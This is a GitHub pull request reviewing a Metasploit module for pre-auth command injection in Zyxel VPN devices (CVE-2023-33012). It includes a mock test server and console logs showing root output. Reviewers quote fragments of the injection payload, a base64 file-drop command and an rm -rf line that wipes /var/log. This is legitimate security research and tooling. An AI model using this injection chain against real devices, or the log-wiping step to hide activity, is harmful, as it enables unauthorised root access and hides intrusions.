Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Zyxel VPN Series Pre-auth Command Injection #19204

Merged
merged 14 commits into from
Jul 3, 2024

Conversation

jheysel-r7
Copy link
Contributor

This module is based off the work from the following blog post which exploits multiple vulnerabilities in order to obtain pre-auth command injection the multiple VPN Series Zyxel devices. The exploit chain uses CVE-2023-33012 which is a command injection vulnerability which can be exploited when uploading a new configuration to /ztp/cgi-bin/parse_config.py by appending a command to the option ipaddr field.

The command injection is length limited to 0x14 bytes and is why this exploits chains a .qsr file write vulnerability as well in order to write the payload to a file which has no length limit and then call the payload with the command injection.

The advisory states that USG series and others are also affected despite the blog post above being written specifically for the VPN series of devices.

Testing Attempt

I spun up a the following mock server in order to test the happy path of the PoC and to ensure the module interacted with the mock server in the same way the PoC did (the PoC can be found at the bottom of the blog post)

mock-server.py

from flask import Flask, request

app = Flask(__name__)

@app.route('/ext-js/app/common/zld_product_spec.js')
def fingerprint():
    response_text = """
    ZLDSYSPARM_PRODUCT_NAME1="VPN Gateway";
    ZLDCONFIG_CLOUD_HELP_VERSION=5.10;
    """
    return response_text, 200

@app.route('/')
def root():
    response_text = """
    <title>VPN Gateway</title>
    <link rel="stylesheet" href="/ext-js/app/common/zld_product_spec.js">
    """
    return response_text, 200

@app.route('/ztp/cgi-bin/parse_config.py', methods=['POST'])
def parse_config():
    response_text = "test"  # Changed response_text so it doesn't hit the invulnerable path
    return response_text, 200

@app.route('/ztp/cgi-bin/dumpztplog.py')
def dumpztplog():
    response_text = """
<html>
<head></head>
<body>
[IPC]IPC result: 1
uid=0(root) gid=0(root) groups=0(root)
</body>
</html>
"""
    return response_text, 200

if __name__ == '__main__':
    app.run(port=8080)  # Run the server on port 8080

PoC running against mock server:

➜  zyxel_vpn100  python3.10 poc.py 127.0.0.1 --no-https --port 8080 "id"
[+] fingerprint
    title   = VPN Gateway
    version = 5.10
[+] payload transfer
    complete
[+] code execution
    complete
[+] receive output

uid=0(root) gid=0(root) groups=0(root)

Module running against mock server:

msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(linux/http/zyxel_parse_config_rce) > set cmd id
cmd => id
msf6 exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanup true
AllowNoCleanup => true
msf6 exploit(linux/http/zyxel_parse_config_rce) > run

[*] Attempting to upload the payload via QSR file write...
[+] File write was successful.
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)

[!] This exploit may require manual cleanup of '/tmp/N.qsr' on the target
[*] Exploit completed, but no session was created.

Emulation Attempt

I had attempted to emulated the firmware by first decrypting it using the known method. More info here

I downloaded the following from this link:

  • debian-buster-mips.qcow2
  • initrd.img-4.14.0-3-5kc-malta.mips.buster
  • vmlinux-4.14.0-3-5kc-malta.mips.buster

And was able to spin up a mips environment like so:

I wasn't able find a networking configuration that allowed me to connect to my host and the internet at the same so I shut down the instance and rebooted depending on what I needed to connect to. After I transferred the decrypted firmware from my host to the device, I switched to the internet connected configuration so I could install tools to try and debug/ figure out why my chroot attempts weren't working.

start-debian-mips-connected-to-internet.sh

  qemu-system-mips64 \
    -M malta \
    -cpu MIPS64R2-generic \
    -m 2G \
    -append 'root=/dev/vda console=ttyS0 mem=2048m net.ifnames=0 nokaslr' \
    -netdev user,id=mynet0 \
    -device virtio-net,netdev=mynet0 \
    -device usb-kbd \
    -device usb-tablet \
    -kernel vmlinux-4.14.0-3-5kc-malta.mips.buster \
    -initrd initrd.img-4.14.0-3-5kc-malta.mips.buster \
    -drive file=debian-buster-mips.qcow2,if=virtio \
    -nographic

start-debian-mips-connected-to-host.sh

#set network - enables qemu vm to communicate with host but not the internet
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.5.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.5.11/24 up
sudo brctl addif virbr0 tap0
  qemu-system-mips64 \
    -M malta \
    -cpu MIPS64R2-generic \
    -m 2G \
    -append 'root=/dev/vda console=ttyS0 mem=2048m net.ifnames=0 nokaslr' \
    -netdev tap,id=tapnet,ifname=tap0,script=no \
    -device rtl8139,netdev=tapnet \
    -device usb-kbd \
    -device usb-tablet \
    -kernel vmlinux-4.14.0-3-5kc-malta.mips.buster \
    -initrd initrd.img-4.14.0-3-5kc-malta.mips.buster \
    -drive file=debian-buster-mips.qcow2,if=virtio \
    -nographic

Once the mips instance was running and I had mounted the squashfs file system of the firmware onto the mips device my plan was to run chroot ./squashfs-root/ /bin/sh to get a shell running in the context of the vulnerable firmware and then from there start the apache server that hosts the vulnerable endpoint, however I was seeing the following error when running as root:

chroot: failed to run command '/bin/sh': Permission denied

'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think this is true based on your exploit and my experience developing an exploit for this target against real hardware. I describe the issue here.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks so much for linking your blog post. Really great work, I hadn't read it prior to writing this module and was unaware of this important caveat.

Do you think it would be a good idea to add an on_new_session method that attempts to clean up the the most recently created gre interface created by using something like the following?:

  def on_new_session(session)
    super
    # Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsquent module runs.
    if session.type.to_s.eql? 'meterpreter'
      newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""
      session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down\""
      session.sys.process.execute '/bin/sh', "-c \"ip tunnel del #{newest_gre} mode gre;\""
    elsif session.type.to_s.eql? 'shell'
      newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"
      session.shell_command_token "ifconfig #{newest_gre} down"
      session.shell_command_token "ip tunnel del #{newest_gre} mode gre;"
    end
  end

This would depend on grep -P and ifconfig being present on all affected devices. Also wondering if this might be too invasive to be done by the module, in case the ordering of interfaces isn't as expected and it deletes a gre being used by the device?

An alternative option would be to print a warning in on_new_session and provide guidance on how to clean up after the module.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

After chatting with Spencer I made some slight changes to what I suggested above and pushed it up. I think it's about ready to be tested.

return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?

if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is technically incomplete. There is a lower bound of 5.00 or 5.10 depending on the model. I put a table here and the official one is here.

You can extract the product name from ZLDSYSPARM_PRODUCT_NAME1= fwiw

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call, I've added a set of product dependent version checks.

@j-baines
Copy link
Contributor

Once this is ready @jheysel-r7, I'd be happy to test it for you. I have an affected device kicking around.

command = payload.encoded
command += <<~CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will remove a lot of things, including legitimate/unrelated files, I'm not sure this should be done.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call. I can remove all but the #{payload_filepath} add a warning to the on_new_session method informing the user of places they might want to clean up after the module. (I'll add this once I have a better idea of what the on_new_session method is going to look like).

2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
CMD
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since the execution will be triggered later, why the trailing . #{payload_filepath}?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I hear what you're saying. I copied this directly from the PoC but I agree / would assume the following line is ensuring the payload is getting executed. Unless I'm misunderstanding something.

 cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"

I'll remove this unless @j-baines has any objections?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Do you still plan to remove this?

Copy link
Contributor Author

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hey @j-baines, I really appreciate the review 🙏 I'd love to take you up on your offer to test this once we get the last couple of things sorted.

'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks so much for linking your blog post. Really great work, I hadn't read it prior to writing this module and was unaware of this important caveat.

Do you think it would be a good idea to add an on_new_session method that attempts to clean up the the most recently created gre interface created by using something like the following?:

  def on_new_session(session)
    super
    # Get the most recently created GRE tunnel interface, bring it down then delete it to allow for subsquent module runs.
    if session.type.to_s.eql? 'meterpreter'
      newest_gre = session.sys.process.execute '/bin/sh', "-c \"ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1\""
      session.sys.process.execute '/bin/sh', "-c \"ifconfig #{newest_gre} down\""
      session.sys.process.execute '/bin/sh', "-c \"ip tunnel del #{newest_gre} mode gre;\""
    elsif session.type.to_s.eql? 'shell'
      newest_gre = session.shell_command_token "ip -d link show type gre | grep -oP '^\\d+: \\K[^@]+' | tail -n 1"
      session.shell_command_token "ifconfig #{newest_gre} down"
      session.shell_command_token "ip tunnel del #{newest_gre} mode gre;"
    end
  end

This would depend on grep -P and ifconfig being present on all affected devices. Also wondering if this might be too invasive to be done by the module, in case the ordering of interfaces isn't as expected and it deletes a gre being used by the device?

An alternative option would be to print a warning in on_new_session and provide guidance on how to clean up after the module.

command = payload.encoded
command += <<~CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call. I can remove all but the #{payload_filepath} add a warning to the on_new_session method informing the user of places they might want to clean up after the module. (I'll add this once I have a better idea of what the on_new_session method is going to look like).

2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath} /share/ztp/* /var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &
CMD
command = "echo #{Rex::Text.encode_base64(command)} | base64 -d > #{payload_filepath} ; . #{payload_filepath}"
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I hear what you're saying. I copied this directly from the PoC but I agree / would assume the following line is ensuring the payload is getting executed. Unless I'm misunderstanding something.

 cmd_injection_pload += "option ipaddr ;. #{payload_filepath};\n"

I'll remove this unless @j-baines has any objections?

return CheckCode::Unknown('No response from /ext-js/app/common/zld_product_spec.js') if res.nil?

if res.code == 200 && res.body =~ /ZLDCONFIG_CLOUD_HELP_VERSION=(\w+)/
return CheckCode::Appears("Detected #{Regexp.last_match(1)}.") if Rex::Version.new(Regexp.last_match(1)) < Rex::Version.new('5.36')
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good call, I've added a set of product dependent version checks.

@jheysel-r7 jheysel-r7 marked this pull request as ready for review May 29, 2024 20:06
jheysel-r7 and others added 2 commits June 3, 2024 15:33
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
@jheysel-r7 jheysel-r7 requested a review from j-baines June 10, 2024 18:09
Comment on lines +115 to +118
command += <<~CMD
2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf #{payload_filepath}) &
CMD
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I checked the output by decoding the generated base64 string and noticed a space is missing between the command and the stderr/stout redirection. Here an example with the command id:

❯ echo -e "aWQyPi92YXIvbG9nL3p0cGxvZyAxPi92YXIvbG9nL3p0cGxvZwooc2xlZXAgMTAgJiYgL2Jpbi9ybSAtcmYgL3RtcC9GLnFzcikgJgo=" | base64 -d
id2>/var/log/ztplog 1>/var/log/ztplog
(sleep 10 && /bin/rm -rf /tmp/F.qsr) &

I think this would prevent the execution of the command.

@cdelafuente-r7
Copy link
Contributor

cdelafuente-r7 commented Jun 25, 2024

Thank you @jheysel-r7 for updating the module and adding some description about mock testing. I added a couple of comments for you to review when you get a chance. Also, I tested the mock-server.py you provided and got different results with the original PoC and the module:

  • PoC against mock server:
❯ python poc.py 127.0.0.1 --no-https --port 8080 "id"
[+] fingerprint
    title   = VPN Gateway
    version = 5.10
[+] payload transfer
    complete
[+] code execution
    complete
[+] receive output

uid=0(root) gid=0(root) groups=0(root)
  • Module against the mock server:
msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(linux/http/zyxel_parse_config_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080  cmd=id allownocleanup=true

[+] id
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Product: VPN Gateway, Version: 5.10
[*] Attempting to upload the payload via QSR file write...
[+] File write was successful, uploaded: /tmp/j.qsr
[!] This exploit may require manual cleanup of '/tmp/j.qsr' on the target
[*] Exploit completed, but no session was created.

I noticed the PoC sends a GET request to /ztp/cgi-bin/dumpztplog.py, whereas the module doesn't. I'm not sure if it is expected.

@jheysel-r7
Copy link
Contributor Author

Thanks for the review @cdelafuente-r7 and for your help offline to find payload_instance.connection_type which enables the module to print the stdout of the command whenever a reverse connection is not being made.

Now the module will print the output of the id just like the mock server when the cmd/unix/generic payload is selected.

msf6 exploit(linux/http/zyxel_parse_config_rce) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(linux/http/zyxel_parse_config_rce) > set cmd id
cmd => id
msf6 exploit(linux/http/zyxel_parse_config_rce) > set rport 7070
rport => 7070
msf6 exploit(linux/http/zyxel_parse_config_rce) > set AllowNoCleanUp true
AllowNoCleanUp => true
msf6 exploit(linux/http/zyxel_parse_config_rce) > run

[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Product: VPN Gateway, Version: 5.10
[*] Attempting to upload the payload via QSR file write...
[+] File write was successful, uploaded: /tmp/Z.qsr
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)

[!] This exploit may require manual cleanup of '/tmp/Z.qsr' on the target
[*] Exploit completed, but no session was created.

@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @jheysel-r7 ! Everything looks good to me now. I tested against the mock-server.py you provided and got the expected results. I'll go ahead and land it.

  • Example output:
msf6 exploit(linux/http/zyxel_parse_config_rce) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf6 exploit(linux/http/zyxel_parse_config_rce) > exploit verbose=true rhosts=127.0.0.1 rport=8080  cmd=id allownocleanup=true

[+] id
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Product: VPN Gateway, Version: 5.10
[*] Attempting to upload the payload via QSR file write...
[+] File write was successful, uploaded: /tmp/s.qsr
[+] Command output: 
uid=0(root) gid=0(root) groups=0(root)

[!] This exploit may require manual cleanup of '/tmp/s.qsr' on the target
[*] Exploit completed, but no session was created.

@cdelafuente-r7 cdelafuente-r7 merged commit df8f281 into rapid7:master Jul 3, 2024
3 checks passed
@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Jul 3, 2024
@cdelafuente-r7
Copy link
Contributor

cdelafuente-r7 commented Jul 3, 2024

Release Notes

This adds an exploit module that leverages multiple vulnerabilities in order to obtain pre-auth command injection on multiple VPN Series Zyxel devices.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: Done
Development

Successfully merging this pull request may close these issues.

None yet

6 participants